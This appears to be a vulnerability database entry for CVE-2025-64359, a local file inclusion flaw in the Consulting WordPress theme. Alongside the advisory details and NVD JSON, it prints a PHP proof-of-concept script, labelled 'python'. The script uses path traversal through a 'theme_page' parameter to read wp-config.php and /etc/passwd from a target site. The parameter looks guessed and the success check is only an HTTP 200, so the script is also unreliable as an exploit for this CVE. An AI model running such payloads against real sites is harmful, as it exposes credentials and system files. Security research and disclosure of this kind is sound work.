Security Vulnerability Report
中文
CVE-2025-64359 CVSS 7.5 HIGH

CVE-2025-64359

Published: 2025-10-31 12:15:36
Last Modified: 2026-04-27 16:16:41

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in StylemixThemes Consulting consulting allows PHP Local File Inclusion.This issue affects Consulting: from n/a through < 6.7.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Consulting < 6.7.5
Consulting from n/a through < 6.7.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-64359 PoC - Consulting Theme Local File Inclusion * Affected: Consulting Theme < 6.7.5 * Author: Security Researcher * Usage: php poc.php <target_url> */ $target = $argv[1] ?? 'http://target-site.com'; // Target files to read $targets = [ '/wp-config.php' => 'WordPress Configuration', '/etc/passwd' => 'System Passwd File', '/etc/hosts' => 'System Hosts File' ]; echo "[*] CVE-2025-64359 PoC - Consulting Theme LFI\n"; echo "[*] Target: {$target}\n\n"; foreach ($targets as $file => $description) { echo "[*] Testing: {$description} ({$file})\n"; // Path traversal payload $payload = str_repeat('../', 6) . ltrim($file, '/'); $url = $target . '/?' . http_build_query(['theme_page' => $payload]); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && !empty($response)) { echo "[+] Success! File content retrieved\n"; echo "[+] Response length: " . strlen($response) . " bytes\n\n"; } else { echo "[-] Failed to retrieve file\n\n"; } } echo "[*] PoC execution completed\n"; echo "[*] Note: Modify the payload based on actual vulnerable parameter\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64359", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:36.307", "lastModified": "2026-04-27T16:16:41.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in StylemixThemes Consulting consulting allows PHP Local File Inclusion.This issue affects Consulting: from n/a through < 6.7.5."}, {"lang": "es", "value": "La vulnerabilidad de Control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP ('Inclusión Remota de Ficheros PHP') en StylemixThemes Consulting consulting permite la Inclusión local de ficheros PHP. Este problema afecta a Consulting: desde n/a hasta &lt; 6.7.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/consulting/vulnerability/wordpress-consulting-theme-6-7-5-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}